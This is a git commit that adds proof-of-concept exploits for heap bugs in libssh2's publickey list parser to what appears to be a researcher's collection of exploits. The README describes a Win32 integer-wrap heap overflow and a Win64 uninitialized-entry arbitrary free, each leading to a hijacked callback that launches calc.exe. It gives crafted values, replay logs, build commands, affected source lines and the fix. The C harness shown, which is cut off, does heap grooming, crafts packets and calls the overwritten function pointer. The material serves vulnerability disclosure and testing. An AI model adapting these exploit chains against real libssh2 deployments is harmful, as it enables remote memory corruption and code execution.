Add libssh2 publickey list calc PoCs
This commit is contained in:
@@ -25,6 +25,7 @@ Most folders contain one of my former standalone PoC repos, preserved with its o
|
|||||||
| `gitea-act-runner-container-options-poc` | `f06d78fb111732f3e7737f4c07e77ef94c4b64bf` | 4 |
|
| `gitea-act-runner-container-options-poc` | `f06d78fb111732f3e7737f4c07e77ef94c4b64bf` | 4 |
|
||||||
| `imagemagick-gs-delegate-hijack-poc` | `8140e8ee0ed78beaf5e8303a795b70b138f5891b` | 5 |
|
| `imagemagick-gs-delegate-hijack-poc` | `8140e8ee0ed78beaf5e8303a795b70b138f5891b` | 5 |
|
||||||
| `libssh2-cve-2026-55200-poc` | direct entry, June 23, 2026 | 3 |
|
| `libssh2-cve-2026-55200-poc` | direct entry, June 23, 2026 | 3 |
|
||||||
|
| `libssh2-publickey-list-calc-poc` | direct entry, June 25, 2026 | 10 |
|
||||||
| `lunar-modrinth-chain-poc` | `ffd02120708b6503f11585858ce3724872f3b7a7` | 6 |
|
| `lunar-modrinth-chain-poc` | `ffd02120708b6503f11585858ce3724872f3b7a7` | 6 |
|
||||||
| `mybb-limited-acp-to-admin` | `1610e0373943c2f6562a99f917d3a3d1fdd9056d` | 5 |
|
| `mybb-limited-acp-to-admin` | `1610e0373943c2f6562a99f917d3a3d1fdd9056d` | 5 |
|
||||||
| `nmap-ipv6-extlen-wrap-poc` | direct entry, June 23, 2026 | 4 |
|
| `nmap-ipv6-extlen-wrap-poc` | direct entry, June 23, 2026 | 4 |
|
||||||
@@ -40,7 +41,7 @@ This section applies to the former standalone repositories listed above by commi
|
|||||||
|
|
||||||
The consolidation was checked from fresh GitHub clones on June 23, 2026 before the old standalone repos were removed.
|
The consolidation was checked from fresh GitHub clones on June 23, 2026 before the old standalone repos were removed.
|
||||||
|
|
||||||
The check compared each former standalone repo's `HEAD` tree against the matching folder here using Git tree data, not a loose filesystem diff. For every tracked entry, the check required:
|
The check compared each former standalone repo's `HEAD` tree against the matching folder here using Git tree data rather than a loose filesystem diff. For every tracked entry, the check required:
|
||||||
|
|
||||||
- the same relative path;
|
- the same relative path;
|
||||||
- the same Git object type;
|
- the same Git object type;
|
||||||
@@ -49,6 +50,6 @@ The check compared each former standalone repo's `HEAD` tree against the matchin
|
|||||||
|
|
||||||
Matching Git blob IDs means the tracked file bytes are identical. The check covered 12 repos and 96 tracked entries with zero mismatches.
|
Matching Git blob IDs means the tracked file bytes are identical. The check covered 12 repos and 96 tracked entries with zero mismatches.
|
||||||
|
|
||||||
This repository preserves the contents of those PoCs. Repository-level metadata such as stars, issues, pull requests, releases, and separate Git history are not represented inside the folders.
|
This repository preserves the contents of those PoCs. Repository-level metadata such as stars, issues, pull requests, releases, and separate Git history remain in the original repository histories.
|
||||||
|
|
||||||
Direct entries, including `c-ares-tcp-uaf-calc-poc`, `firefox-smartwindow-private-url-exfil-poc`, `floci-apigateway-vtl-rce-poc`, `libssh2-cve-2026-55200-poc`, `nmap-ipv6-extlen-wrap-poc`, `rustdesk-session-permission-pocs`, and `systeminformer-phsvc-trusted-host-lpe-poc`, are tracked by this repository's commit history.
|
Direct entries, including `c-ares-tcp-uaf-calc-poc`, `firefox-smartwindow-private-url-exfil-poc`, `floci-apigateway-vtl-rce-poc`, `libssh2-cve-2026-55200-poc`, `libssh2-publickey-list-calc-poc`, `nmap-ipv6-extlen-wrap-poc`, `rustdesk-session-permission-pocs`, and `systeminformer-phsvc-trusted-host-lpe-poc`, are tracked by this repository's commit history.
|
||||||
|
|||||||
206
libssh2-publickey-list-calc-poc/README.md
Normal file
206
libssh2-publickey-list-calc-poc/README.md
Normal file
@@ -0,0 +1,206 @@
|
|||||||
|
# libssh2 publickey list calc PoCs
|
||||||
|
|
||||||
|
Windows calc payload proofs for the libssh2 publickey subsystem list parser.
|
||||||
|
|
||||||
|
Verified target:
|
||||||
|
|
||||||
|
```text
|
||||||
|
libssh2/libssh2 master
|
||||||
|
e75b4bae3c68a9bde71de1fb6b0fba5b0c716020
|
||||||
|
2026-06-24
|
||||||
|
```
|
||||||
|
|
||||||
|
## Summary
|
||||||
|
|
||||||
|
`libssh2_publickey_list_fetch()` accepts a stream of publickey-subsystem response packets and grows an array of `libssh2_publickey_list` entries as `publickey` responses arrive.
|
||||||
|
|
||||||
|
Two exploit paths are included:
|
||||||
|
|
||||||
|
```text
|
||||||
|
Win32 allocation-wrap chain
|
||||||
|
num_attrs * sizeof(libssh2_publickey_attribute) wraps to a 4-byte allocation.
|
||||||
|
The attribute parser then writes attacker-controlled fields past the tiny attrs buffer.
|
||||||
|
The harness grooms an adjacent callback slot and launches calc from the overwritten callback.
|
||||||
|
|
||||||
|
Win64 publickey-list cleanup chain
|
||||||
|
A recognized but unexpected version response frees an attacker-shaped response buffer.
|
||||||
|
A malformed publickey response then grows the list allocation into that same heap slot.
|
||||||
|
Cleanup walks attacker-shaped list entries and frees attacker-selected attrs pointers.
|
||||||
|
The harness routes libssh2 allocation callbacks through a tracked fail-closed heap wrapper,
|
||||||
|
reclaims the freed victim object, and launches calc through a stale callback.
|
||||||
|
```
|
||||||
|
|
||||||
|
The fixed controls used by the checked binaries are:
|
||||||
|
|
||||||
|
```text
|
||||||
|
zero list[keys] immediately after list growth
|
||||||
|
reject num_attrs values that overflow the attrs allocation multiplication
|
||||||
|
```
|
||||||
|
|
||||||
|
## Files
|
||||||
|
|
||||||
|
```text
|
||||||
|
poc/publickey_win32_heap_groom_calc_repro.c
|
||||||
|
poc/publickey_win32_heap_groom_calc_repro.exe
|
||||||
|
poc/publickey_win32_heap_groom_calc_repro_checked.exe
|
||||||
|
poc/publickey_win64_arbitrary_free_calc_repro.c
|
||||||
|
poc/publickey_win64_arbitrary_free_calc_repro.exe
|
||||||
|
poc/publickey_win64_arbitrary_free_calc_repro_checked.exe
|
||||||
|
replay-calc-poc.ps1
|
||||||
|
evidence/2026-06-25-local-calc-replay.txt
|
||||||
|
SHA256SUMS.txt
|
||||||
|
```
|
||||||
|
|
||||||
|
The checked binaries link against a publickey object with the two parser hardening changes above. The vulnerable binaries link against the target commit.
|
||||||
|
|
||||||
|
## Quick replay
|
||||||
|
|
||||||
|
Run on Windows:
|
||||||
|
|
||||||
|
```powershell
|
||||||
|
.\replay-calc-poc.ps1
|
||||||
|
```
|
||||||
|
|
||||||
|
Expected proof signals:
|
||||||
|
|
||||||
|
```text
|
||||||
|
x86_vulnerable_calc=hit
|
||||||
|
calc_launch=success
|
||||||
|
x86 calc payload reached
|
||||||
|
x86_checked_calc=no_hit
|
||||||
|
|
||||||
|
x64_vulnerable_calc_exit=77
|
||||||
|
victim_freed=1
|
||||||
|
same_as_victim=1
|
||||||
|
calc_launch=success
|
||||||
|
x64 calc payload reached
|
||||||
|
x64_checked_calc_exit=0
|
||||||
|
victim_freed=0
|
||||||
|
safe_callback_reached
|
||||||
|
```
|
||||||
|
|
||||||
|
The replay starts `calc.exe` for both vulnerable harnesses and writes transient marker files during execution. The marker files are runtime artifacts and are left out of the tracked tree.
|
||||||
|
|
||||||
|
## Win32 chain
|
||||||
|
|
||||||
|
The 32-bit structure size gives a direct allocation-wrap primitive:
|
||||||
|
|
||||||
|
```text
|
||||||
|
sizeof(libssh2_publickey_attribute) = 20
|
||||||
|
num_attrs = 0x0ccccccd
|
||||||
|
0x0ccccccd * 20 = 0x100000004
|
||||||
|
32-bit allocation size = 4
|
||||||
|
```
|
||||||
|
|
||||||
|
The response packet carries a normal `publickey` response header, small key name/blob strings, and a huge `num_attrs`. Once the attrs allocation wraps to four bytes, the parser enters the attribute loop and writes:
|
||||||
|
|
||||||
|
```text
|
||||||
|
name_len
|
||||||
|
name pointer
|
||||||
|
value_len
|
||||||
|
value pointer
|
||||||
|
mandatory byte
|
||||||
|
```
|
||||||
|
|
||||||
|
The harness arranges a victim word near the tiny allocation. The overflow replaces that victim word with the callback address. The callback then launches calc.
|
||||||
|
|
||||||
|
Representative replay:
|
||||||
|
|
||||||
|
```text
|
||||||
|
attrs_alloc requested=4 ptr=0153a280 msize=4
|
||||||
|
victim[4064]=0153a2c0 delta=64 word=009c150d
|
||||||
|
marker_function_reached address=009c150d
|
||||||
|
calc_launch=success
|
||||||
|
```
|
||||||
|
|
||||||
|
The checked Win32 binary rejects the oversized attribute count before allocation, so the overwritten callback path stays unreachable.
|
||||||
|
|
||||||
|
## Win64 chain
|
||||||
|
|
||||||
|
The 64-bit structure size removes the tiny allocation wrap for the same value. The useful Win64 primitive comes from the list cleanup path.
|
||||||
|
|
||||||
|
Relevant source shape:
|
||||||
|
|
||||||
|
```text
|
||||||
|
list grows with SSH2_REALLOC()
|
||||||
|
new list entry remains uninitialized before parsing finishes
|
||||||
|
unexpected recognized version response is freed and parsing continues
|
||||||
|
malformed publickey response forces the error path
|
||||||
|
libssh2_publickey_list_free() trusts packet and attrs until a sentinel is found
|
||||||
|
```
|
||||||
|
|
||||||
|
The harness sends:
|
||||||
|
|
||||||
|
```text
|
||||||
|
version groom response sized like the future list allocation
|
||||||
|
malformed publickey response
|
||||||
|
```
|
||||||
|
|
||||||
|
The groom response places the victim object pointer at the `attrs` offset of the first future list entry. The malformed response makes parsing fail before the new entry and sentinel are initialized. Cleanup then frees the victim through the attacker-shaped `attrs` field.
|
||||||
|
|
||||||
|
The harness uses libssh2 custom allocator callbacks backed by a tracked fail-closed heap wrapper. That wrapper accepts the valid victim free, ignores an unrelated invalid packet free, and leaves the process alive long enough for the stale object to be reclaimed. A same-size allocation then lands on the freed victim slot and installs the calc callback.
|
||||||
|
|
||||||
|
Representative replay:
|
||||||
|
|
||||||
|
```text
|
||||||
|
free ptr=000001DE60380860
|
||||||
|
free_ignored_unknown ptr=000001DE60380150
|
||||||
|
fetch rc=-1 num_keys=0 victim_freed=1 heap_free_failures=1
|
||||||
|
replacement=000001DE60380860 same_as_victim=1
|
||||||
|
calc_payload_reached callback=00007FF76A5118A5
|
||||||
|
calc_launch=success
|
||||||
|
```
|
||||||
|
|
||||||
|
The checked Win64 binary zeroes the grown list entry before parsing, so cleanup frees the actual response/list allocations and the stale victim callback remains unchanged.
|
||||||
|
|
||||||
|
## Affected code areas
|
||||||
|
|
||||||
|
```text
|
||||||
|
src/publickey.c:895-908
|
||||||
|
list growth with SSH2_REALLOC()
|
||||||
|
|
||||||
|
src/publickey.c:1049-1053
|
||||||
|
attrs allocation uses num_attrs * sizeof(libssh2_publickey_attribute)
|
||||||
|
|
||||||
|
src/publickey.c:1060-1110
|
||||||
|
attribute loop writes fields into attrs[i]
|
||||||
|
|
||||||
|
src/publickey.c:1123-1128
|
||||||
|
unexpected recognized response frees listFetch_data and continues
|
||||||
|
|
||||||
|
src/publickey.c:1138-1139
|
||||||
|
error path frees the partially built list
|
||||||
|
|
||||||
|
src/publickey.c:1158-1161
|
||||||
|
list_free trusts packet and attrs fields until a sentinel entry
|
||||||
|
```
|
||||||
|
|
||||||
|
## Rebuild notes
|
||||||
|
|
||||||
|
The binaries were built with MinGW-w64 and linked against `publickey.c` objects compiled from the target commit and from the checked variant.
|
||||||
|
|
||||||
|
Equivalent source build shape:
|
||||||
|
|
||||||
|
```powershell
|
||||||
|
x86_64-w64-mingw32-gcc -O0 -Wall -Wextra -DLIBSSH2_WINCNG -I$env:LIBSSH2_SRC\src -I$env:LIBSSH2_SRC\include -o poc\publickey_win64_arbitrary_free_calc_repro.exe poc\publickey_win64_arbitrary_free_calc_repro.c $env:LIBSSH2_OBJDIR\publickey_win64.o -lws2_32 -lbcrypt
|
||||||
|
|
||||||
|
x86_64-w64-mingw32-gcc -O0 -Wall -Wextra -DLIBSSH2_WINCNG -I$env:LIBSSH2_SRC\src -I$env:LIBSSH2_SRC\include -o poc\publickey_win64_arbitrary_free_calc_repro_checked.exe poc\publickey_win64_arbitrary_free_calc_repro.c $env:LIBSSH2_OBJDIR\publickey_win64_checked.o -lws2_32 -lbcrypt
|
||||||
|
|
||||||
|
i686-w64-mingw32-gcc -O0 -Wall -Wextra -DLIBSSH2_WINCNG -I$env:LIBSSH2_SRC\src -I$env:LIBSSH2_SRC\include -o poc\publickey_win32_heap_groom_calc_repro.exe poc\publickey_win32_heap_groom_calc_repro.c $env:LIBSSH2_OBJDIR\publickey_win32.o -lws2_32 -lbcrypt
|
||||||
|
|
||||||
|
i686-w64-mingw32-gcc -O0 -Wall -Wextra -DLIBSSH2_WINCNG -I$env:LIBSSH2_SRC\src -I$env:LIBSSH2_SRC\include -o poc\publickey_win32_heap_groom_calc_repro_checked.exe poc\publickey_win32_heap_groom_calc_repro.c $env:LIBSSH2_OBJDIR\publickey_win32_checked.o -lws2_32 -lbcrypt
|
||||||
|
```
|
||||||
|
|
||||||
|
## Fix shape
|
||||||
|
|
||||||
|
The parser hardening is compact:
|
||||||
|
|
||||||
|
```text
|
||||||
|
After list growth succeeds:
|
||||||
|
memset(&list[keys], 0, sizeof(list[keys]))
|
||||||
|
|
||||||
|
Before attrs allocation:
|
||||||
|
if num_attrs exceeds SIZE_MAX / sizeof(libssh2_publickey_attribute), reject the response
|
||||||
|
```
|
||||||
|
|
||||||
|
These two changes remove the Win64 stale cleanup path and the Win32 allocation-wrap path exercised by the checked binaries.
|
||||||
9
libssh2-publickey-list-calc-poc/SHA256SUMS.txt
Normal file
9
libssh2-publickey-list-calc-poc/SHA256SUMS.txt
Normal file
@@ -0,0 +1,9 @@
|
|||||||
|
1FB2F963B1CC4AE006057DF5B1AD4582A8B019A8E077BCA70766123B4BA8CED0 evidence/2026-06-25-local-calc-replay.txt
|
||||||
|
641801B428B2046B92F164C15761182E2D011E5076FC4B0A72AD225F0243DAFD poc/publickey_win32_heap_groom_calc_repro.c
|
||||||
|
52F74CD7ACA634B1C3BA3CED07E3B5B7751CBAA751384036412B02F9278C0696 poc/publickey_win32_heap_groom_calc_repro.exe
|
||||||
|
4781A6DC8CFDE85429D75D03B3E2A7F27158995C68647973D6613D6217244165 poc/publickey_win32_heap_groom_calc_repro_checked.exe
|
||||||
|
D381904C6F61BC8BEE9711236CA96509BBEC35069DED18C76443A0E7C6D776E7 poc/publickey_win64_arbitrary_free_calc_repro.c
|
||||||
|
B38B1033D31CEB96820F968889EC777B5F592C9145F4D23C2291B750D9B38F7B poc/publickey_win64_arbitrary_free_calc_repro.exe
|
||||||
|
D51415DBA11B634EFE126ACE3CA887CF4B32198C5A479931FBC68D24308E5266 poc/publickey_win64_arbitrary_free_calc_repro_checked.exe
|
||||||
|
A033AF42313BCCA3C3D9D76C343388A2C096DC71C305FD010FEC640CA07D3D19 README.md
|
||||||
|
2E88D97AEB90BBCBC72EFB73D493E64437E5E472F4DF21608F93E8141669E012 replay-calc-poc.ps1
|
||||||
Binary file not shown.
@@ -0,0 +1,448 @@
|
|||||||
|
#include <winsock2.h>
|
||||||
|
#include <windows.h>
|
||||||
|
#include <malloc.h>
|
||||||
|
#include <stdint.h>
|
||||||
|
#include <stdio.h>
|
||||||
|
#include <stdlib.h>
|
||||||
|
#include <string.h>
|
||||||
|
|
||||||
|
#include "libssh2_priv.h"
|
||||||
|
#include "libssh2_publickey.h"
|
||||||
|
#include "channel.h"
|
||||||
|
|
||||||
|
#define PAIRS 4096
|
||||||
|
#define VICTIM_SIZE 4
|
||||||
|
#define DEFAULT_MARKER_VALUE 0x41424344UL
|
||||||
|
#define DEFAULT_TARGET_INDEX (PAIRS - 8)
|
||||||
|
|
||||||
|
static unsigned char wire[4096];
|
||||||
|
static size_t wire_len;
|
||||||
|
static size_t wire_off;
|
||||||
|
static void *small_chunks[PAIRS];
|
||||||
|
static void *fillers[PAIRS][3];
|
||||||
|
static unsigned char *victims[PAIRS];
|
||||||
|
static void *attrs_ptr;
|
||||||
|
static size_t attrs_msize;
|
||||||
|
static int terminal_attr = 0;
|
||||||
|
static char terminal_field = 'n';
|
||||||
|
static uint32_t marker_value = DEFAULT_MARKER_VALUE;
|
||||||
|
static int call_mode;
|
||||||
|
static int target_index = DEFAULT_TARGET_INDEX;
|
||||||
|
static int private_heap_mode;
|
||||||
|
static HANDLE proof_heap;
|
||||||
|
|
||||||
|
static void reached_marker(void)
|
||||||
|
{
|
||||||
|
STARTUPINFOA si;
|
||||||
|
PROCESS_INFORMATION pi;
|
||||||
|
char cmd[] = "calc.exe";
|
||||||
|
FILE *f = fopen("x86_calc_payload_reached.txt", "wb");
|
||||||
|
|
||||||
|
if(f) {
|
||||||
|
fputs("x86 calc payload reached\n", f);
|
||||||
|
fclose(f);
|
||||||
|
}
|
||||||
|
|
||||||
|
fprintf(stderr, "marker_function_reached address=%p\n", reached_marker);
|
||||||
|
memset(&si, 0, sizeof(si));
|
||||||
|
memset(&pi, 0, sizeof(pi));
|
||||||
|
si.cb = sizeof(si);
|
||||||
|
if(CreateProcessA(NULL, cmd, NULL, NULL, FALSE, 0, NULL, NULL, &si,
|
||||||
|
&pi)) {
|
||||||
|
fprintf(stderr, "calc_launch=success pid=%lu\n",
|
||||||
|
(unsigned long)pi.dwProcessId);
|
||||||
|
CloseHandle(pi.hThread);
|
||||||
|
CloseHandle(pi.hProcess);
|
||||||
|
}
|
||||||
|
else {
|
||||||
|
fprintf(stderr, "calc_launch=failed error=%lu\n",
|
||||||
|
(unsigned long)GetLastError());
|
||||||
|
ExitProcess(78);
|
||||||
|
}
|
||||||
|
ExitProcess(77);
|
||||||
|
}
|
||||||
|
|
||||||
|
static void *proof_malloc(size_t size)
|
||||||
|
{
|
||||||
|
if(private_heap_mode)
|
||||||
|
return HeapAlloc(proof_heap, 0, size ? size : 1);
|
||||||
|
return malloc(size ? size : 1);
|
||||||
|
}
|
||||||
|
|
||||||
|
static void *proof_calloc(size_t size)
|
||||||
|
{
|
||||||
|
void *ptr = proof_malloc(size);
|
||||||
|
if(ptr)
|
||||||
|
memset(ptr, 0, size);
|
||||||
|
return ptr;
|
||||||
|
}
|
||||||
|
|
||||||
|
static void proof_free(void *ptr)
|
||||||
|
{
|
||||||
|
if(private_heap_mode)
|
||||||
|
HeapFree(proof_heap, 0, ptr);
|
||||||
|
else
|
||||||
|
free(ptr);
|
||||||
|
}
|
||||||
|
|
||||||
|
static void *proof_realloc(void *ptr, size_t size)
|
||||||
|
{
|
||||||
|
if(!ptr)
|
||||||
|
return proof_malloc(size);
|
||||||
|
if(private_heap_mode)
|
||||||
|
return HeapReAlloc(proof_heap, 0, ptr, size ? size : 1);
|
||||||
|
return realloc(ptr, size ? size : 1);
|
||||||
|
}
|
||||||
|
|
||||||
|
static size_t proof_msize(void *ptr)
|
||||||
|
{
|
||||||
|
if(private_heap_mode) {
|
||||||
|
SIZE_T size = HeapSize(proof_heap, 0, ptr);
|
||||||
|
return size == (SIZE_T)-1 ? 0 : (size_t)size;
|
||||||
|
}
|
||||||
|
return _msize(ptr);
|
||||||
|
}
|
||||||
|
|
||||||
|
static LIBSSH2_ALLOC_FUNC(heap_alloc)
|
||||||
|
{
|
||||||
|
void *ptr;
|
||||||
|
|
||||||
|
(void)abstract;
|
||||||
|
if(count == 4)
|
||||||
|
ptr = proof_malloc(count);
|
||||||
|
else
|
||||||
|
ptr = proof_calloc(count);
|
||||||
|
if(count == 4) {
|
||||||
|
attrs_ptr = ptr;
|
||||||
|
attrs_msize = ptr ? proof_msize(ptr) : 0;
|
||||||
|
fprintf(stderr, "attrs_alloc requested=%lu ptr=%p msize=%lu\n",
|
||||||
|
(unsigned long)count, ptr, (unsigned long)attrs_msize);
|
||||||
|
}
|
||||||
|
return ptr;
|
||||||
|
}
|
||||||
|
|
||||||
|
static LIBSSH2_FREE_FUNC(heap_free)
|
||||||
|
{
|
||||||
|
(void)abstract;
|
||||||
|
if(ptr == attrs_ptr)
|
||||||
|
return;
|
||||||
|
proof_free(ptr);
|
||||||
|
}
|
||||||
|
|
||||||
|
static LIBSSH2_REALLOC_FUNC(heap_realloc)
|
||||||
|
{
|
||||||
|
void *newptr;
|
||||||
|
|
||||||
|
(void)abstract;
|
||||||
|
if(!ptr)
|
||||||
|
return heap_alloc(count, abstract);
|
||||||
|
newptr = proof_realloc(ptr, count);
|
||||||
|
return newptr;
|
||||||
|
}
|
||||||
|
|
||||||
|
int ssh2_err(LIBSSH2_SESSION *session, int errcode, const char *errmsg)
|
||||||
|
{
|
||||||
|
if(session) {
|
||||||
|
session->err_code = errcode;
|
||||||
|
session->err_msg = (char *)errmsg;
|
||||||
|
}
|
||||||
|
return errcode;
|
||||||
|
}
|
||||||
|
|
||||||
|
int ssh2_err_flags(LIBSSH2_SESSION *session, int errcode, const char *errmsg,
|
||||||
|
int errflags)
|
||||||
|
{
|
||||||
|
(void)errflags;
|
||||||
|
return ssh2_err(session, errcode, errmsg);
|
||||||
|
}
|
||||||
|
|
||||||
|
uint32_t ssh2_ntohu32(const unsigned char *buf)
|
||||||
|
{
|
||||||
|
return ((uint32_t)buf[0] << 24) | ((uint32_t)buf[1] << 16) |
|
||||||
|
((uint32_t)buf[2] << 8) | (uint32_t)buf[3];
|
||||||
|
}
|
||||||
|
|
||||||
|
void ssh2_htonu32(unsigned char *buf, uint32_t value)
|
||||||
|
{
|
||||||
|
buf[0] = (unsigned char)(value >> 24);
|
||||||
|
buf[1] = (unsigned char)(value >> 16);
|
||||||
|
buf[2] = (unsigned char)(value >> 8);
|
||||||
|
buf[3] = (unsigned char)value;
|
||||||
|
}
|
||||||
|
|
||||||
|
void ssh2_store_u32(unsigned char **buf, uint32_t value)
|
||||||
|
{
|
||||||
|
ssh2_htonu32(*buf, value);
|
||||||
|
*buf += 4;
|
||||||
|
}
|
||||||
|
|
||||||
|
int ssh2_store_str(unsigned char **buf, const char *str, size_t len)
|
||||||
|
{
|
||||||
|
ssh2_store_u32(buf, (uint32_t)len);
|
||||||
|
memcpy(*buf, str, len);
|
||||||
|
*buf += len;
|
||||||
|
return 0;
|
||||||
|
}
|
||||||
|
|
||||||
|
ssize_t ssh2_channel_write(LIBSSH2_CHANNEL *channel, int stream_id,
|
||||||
|
const unsigned char *buf, size_t buflen)
|
||||||
|
{
|
||||||
|
(void)channel;
|
||||||
|
(void)stream_id;
|
||||||
|
(void)buf;
|
||||||
|
return (ssize_t)buflen;
|
||||||
|
}
|
||||||
|
|
||||||
|
ssize_t ssh2_channel_read(LIBSSH2_CHANNEL *channel, int stream_id,
|
||||||
|
char *buf, size_t buflen)
|
||||||
|
{
|
||||||
|
(void)channel;
|
||||||
|
(void)stream_id;
|
||||||
|
if(wire_off + buflen > wire_len)
|
||||||
|
return -1;
|
||||||
|
memcpy(buf, wire + wire_off, buflen);
|
||||||
|
wire_off += buflen;
|
||||||
|
return (ssize_t)buflen;
|
||||||
|
}
|
||||||
|
|
||||||
|
int ssh2_channel_free(LIBSSH2_CHANNEL *channel)
|
||||||
|
{
|
||||||
|
(void)channel;
|
||||||
|
return 0;
|
||||||
|
}
|
||||||
|
|
||||||
|
int ssh2_channel_close(LIBSSH2_CHANNEL *channel)
|
||||||
|
{
|
||||||
|
(void)channel;
|
||||||
|
return 0;
|
||||||
|
}
|
||||||
|
|
||||||
|
int libssh2_session_last_errno(LIBSSH2_SESSION *session)
|
||||||
|
{
|
||||||
|
return session ? session->err_code : 0;
|
||||||
|
}
|
||||||
|
|
||||||
|
int ssh2_wait_socket(LIBSSH2_SESSION *session, time_t start_time)
|
||||||
|
{
|
||||||
|
(void)session;
|
||||||
|
(void)start_time;
|
||||||
|
return 0;
|
||||||
|
}
|
||||||
|
|
||||||
|
LIBSSH2_CHANNEL *ssh2_channel_open(LIBSSH2_SESSION *session,
|
||||||
|
const char *channel_type,
|
||||||
|
uint32_t channel_type_len,
|
||||||
|
uint32_t window_size,
|
||||||
|
uint32_t packet_size,
|
||||||
|
const unsigned char *message,
|
||||||
|
size_t message_len)
|
||||||
|
{
|
||||||
|
(void)session;
|
||||||
|
(void)channel_type;
|
||||||
|
(void)channel_type_len;
|
||||||
|
(void)window_size;
|
||||||
|
(void)packet_size;
|
||||||
|
(void)message;
|
||||||
|
(void)message_len;
|
||||||
|
return NULL;
|
||||||
|
}
|
||||||
|
|
||||||
|
int ssh2_channel_process_startup(LIBSSH2_CHANNEL *channel,
|
||||||
|
const char *request, size_t request_len,
|
||||||
|
const char *message, size_t message_len)
|
||||||
|
{
|
||||||
|
(void)channel;
|
||||||
|
(void)request;
|
||||||
|
(void)request_len;
|
||||||
|
(void)message;
|
||||||
|
(void)message_len;
|
||||||
|
return LIBSSH2_ERROR_SOCKET_NONE;
|
||||||
|
}
|
||||||
|
|
||||||
|
int ssh2_channel_extended_data(LIBSSH2_CHANNEL *channel, int ignore_mode)
|
||||||
|
{
|
||||||
|
(void)channel;
|
||||||
|
(void)ignore_mode;
|
||||||
|
return 0;
|
||||||
|
}
|
||||||
|
|
||||||
|
void *ssh2_calloc(LIBSSH2_SESSION *session, size_t size)
|
||||||
|
{
|
||||||
|
void *ptr = heap_alloc(size, session ? session->abstract : NULL);
|
||||||
|
if(ptr)
|
||||||
|
memset(ptr, 0, size);
|
||||||
|
return ptr;
|
||||||
|
}
|
||||||
|
|
||||||
|
static unsigned char *put_string(unsigned char *p, const char *s)
|
||||||
|
{
|
||||||
|
size_t len = strlen(s);
|
||||||
|
ssh2_store_u32(&p, (uint32_t)len);
|
||||||
|
memcpy(p, s, len);
|
||||||
|
return p + len;
|
||||||
|
}
|
||||||
|
|
||||||
|
static unsigned char *put_response(unsigned char *w, unsigned char *payload,
|
||||||
|
size_t payload_len)
|
||||||
|
{
|
||||||
|
ssh2_htonu32(w, (uint32_t)payload_len);
|
||||||
|
memcpy(w + 4, payload, payload_len);
|
||||||
|
return w + 4 + payload_len;
|
||||||
|
}
|
||||||
|
|
||||||
|
static void build_attr_spray_response(void)
|
||||||
|
{
|
||||||
|
unsigned char payload[3072];
|
||||||
|
unsigned char status[64];
|
||||||
|
unsigned char *p = payload;
|
||||||
|
unsigned char *s = status;
|
||||||
|
unsigned char *w = wire;
|
||||||
|
uint32_t attr_size = (uint32_t)sizeof(libssh2_publickey_attribute);
|
||||||
|
uint32_t num_attrs = (uint32_t)((0x100000000ULL / attr_size) + 1);
|
||||||
|
int i;
|
||||||
|
|
||||||
|
p = put_string(p, "publickey");
|
||||||
|
p = put_string(p, "n");
|
||||||
|
p = put_string(p, "b");
|
||||||
|
ssh2_store_u32(&p, num_attrs);
|
||||||
|
for(i = 0; i < 80; i++) {
|
||||||
|
if(i == terminal_attr && terminal_field == 'n') {
|
||||||
|
ssh2_store_u32(&p, marker_value);
|
||||||
|
break;
|
||||||
|
}
|
||||||
|
else
|
||||||
|
ssh2_store_u32(&p, 0);
|
||||||
|
if(i == terminal_attr && terminal_field == 'v') {
|
||||||
|
ssh2_store_u32(&p, marker_value);
|
||||||
|
break;
|
||||||
|
}
|
||||||
|
else
|
||||||
|
ssh2_store_u32(&p, 0);
|
||||||
|
}
|
||||||
|
w = put_response(w, payload, (size_t)(p - payload));
|
||||||
|
|
||||||
|
s = put_string(s, "status");
|
||||||
|
ssh2_store_u32(&s, 0);
|
||||||
|
ssh2_store_u32(&s, 0);
|
||||||
|
ssh2_store_u32(&s, 0);
|
||||||
|
w = put_response(w, status, (size_t)(s - status));
|
||||||
|
|
||||||
|
wire_len = (size_t)(w - wire);
|
||||||
|
fprintf(stderr, "attr_size=%lu num_attrs=0x%08lx wrapped=%lu wire=%lu\n",
|
||||||
|
(unsigned long)attr_size, (unsigned long)num_attrs,
|
||||||
|
(unsigned long)(num_attrs * attr_size),
|
||||||
|
(unsigned long)wire_len);
|
||||||
|
}
|
||||||
|
|
||||||
|
static void groom_heap(void)
|
||||||
|
{
|
||||||
|
int i;
|
||||||
|
|
||||||
|
for(i = 0; i < PAIRS; i++) {
|
||||||
|
small_chunks[i] = proof_malloc(4);
|
||||||
|
fillers[i][0] = proof_malloc(4);
|
||||||
|
fillers[i][1] = proof_malloc(4);
|
||||||
|
fillers[i][2] = proof_malloc(4);
|
||||||
|
victims[i] = proof_malloc(VICTIM_SIZE);
|
||||||
|
memset(victims[i], 0x45, VICTIM_SIZE);
|
||||||
|
*(uint32_t *)(victims[i] + 0) = 0xfeedfaceUL;
|
||||||
|
}
|
||||||
|
if(target_index < 0 || target_index >= PAIRS)
|
||||||
|
target_index = DEFAULT_TARGET_INDEX;
|
||||||
|
free(small_chunks[target_index]);
|
||||||
|
fprintf(stderr, "target_index=%d freed_small=%p victim=%p expected_delta=%ld\n",
|
||||||
|
target_index, small_chunks[target_index], victims[target_index],
|
||||||
|
(long)(victims[target_index] -
|
||||||
|
(unsigned char *)small_chunks[target_index]));
|
||||||
|
}
|
||||||
|
|
||||||
|
static int scan_victims(void)
|
||||||
|
{
|
||||||
|
int i;
|
||||||
|
int hits = 0;
|
||||||
|
int marker_hits = 0;
|
||||||
|
|
||||||
|
for(i = 0; i < PAIRS; i++) {
|
||||||
|
int changed = 0;
|
||||||
|
if(*(uint32_t *)(victims[i] + 0) != 0xfeedfaceUL)
|
||||||
|
changed = 1;
|
||||||
|
if(changed) {
|
||||||
|
intptr_t delta = attrs_ptr ?
|
||||||
|
(intptr_t)(victims[i] - (unsigned char *)attrs_ptr) : 0;
|
||||||
|
fprintf(stderr, "victim[%d]=%p delta=%ld word=%08lx\n",
|
||||||
|
i, victims[i], (long)delta,
|
||||||
|
(unsigned long)*(uint32_t *)(victims[i] + 0));
|
||||||
|
if(*(uint32_t *)(victims[i] + 0) == marker_value) {
|
||||||
|
marker_hits++;
|
||||||
|
if(call_mode) {
|
||||||
|
void (*fn)(void) =
|
||||||
|
(void (*)(void))(*(uintptr_t *)(victims[i] + 0));
|
||||||
|
fn();
|
||||||
|
}
|
||||||
|
}
|
||||||
|
hits++;
|
||||||
|
if(hits >= 8)
|
||||||
|
break;
|
||||||
|
}
|
||||||
|
}
|
||||||
|
